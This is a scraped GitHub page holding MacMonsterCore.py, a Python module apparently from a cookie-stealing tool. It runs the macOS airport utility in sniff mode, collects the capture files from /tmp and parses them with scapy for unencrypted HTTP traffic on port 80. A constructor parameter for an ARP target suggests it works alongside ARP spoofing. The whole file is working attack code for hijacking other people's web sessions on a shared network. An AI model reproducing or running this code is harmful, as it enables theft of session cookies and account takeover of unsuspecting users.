-
Notifications
You must be signed in to change notification settings - Fork 27
/
MacMonsterCore.py
64 lines (50 loc) · 2 KB
/
MacMonsterCore.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from MonsterCore import MonsterCore
from PyQt4.Qt import QMutex, QWaitCondition
import MonsterLogger
class MacMonsterCore(MonsterCore):
def __init__(self, filename, interface, arp_target, channel):
super(MacMonsterCore, self).__init__(filename, interface, arp_target)
self.channel = channel
self.flag = True
def handleMonitor(self):
'''work around for mac os x, see https://github.com/diogomonica/py-cookieJsInjection/blob/master/OSx10.6_monitorMode.py'''
MonsterLogger.logger.info(
"[*] Starting scan on channel %s" % self.channel)
while(self.flag):
p = Popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport " +
"sniff " + self.channel, shell=True)
time.sleep(SLEEP_TIME)
Popen("kill -HUP %s" % p.pid, shell=True)
scanCookies(self).start()
def stopMonitor(self):
self.flag = False
MonsterLogger.logger.info("waiting a few seconds for airport to exit...")
self.wait()
def resumeMonitor(self):
self.flag = True
import os
import time
import sys
from subprocess import *
from scapy.all import *
import threading
SLEEP_TIME = 10 # Number of seconds to sniff (update frequency)
cookies_seen = ()
class scanCookies (threading.Thread):
def __init__(self, monster):
super(scanCookies, self).__init__()
self.monster = monster
def run(self):
path = "/tmp/"
dirList = os.listdir(path)
for fileName in dirList:
if "airportSniff" in fileName:
MonsterLogger.logger.info("sniffing " + fileName)
try:
sniff(
offline=path + fileName, filter="tcp port 80", prn=self.monster.handlepkt)
except NameError as e:
MonsterLogger.logger.error(
"[-] No data found on pcap: " + str(e))
pass
os.remove(path + fileName)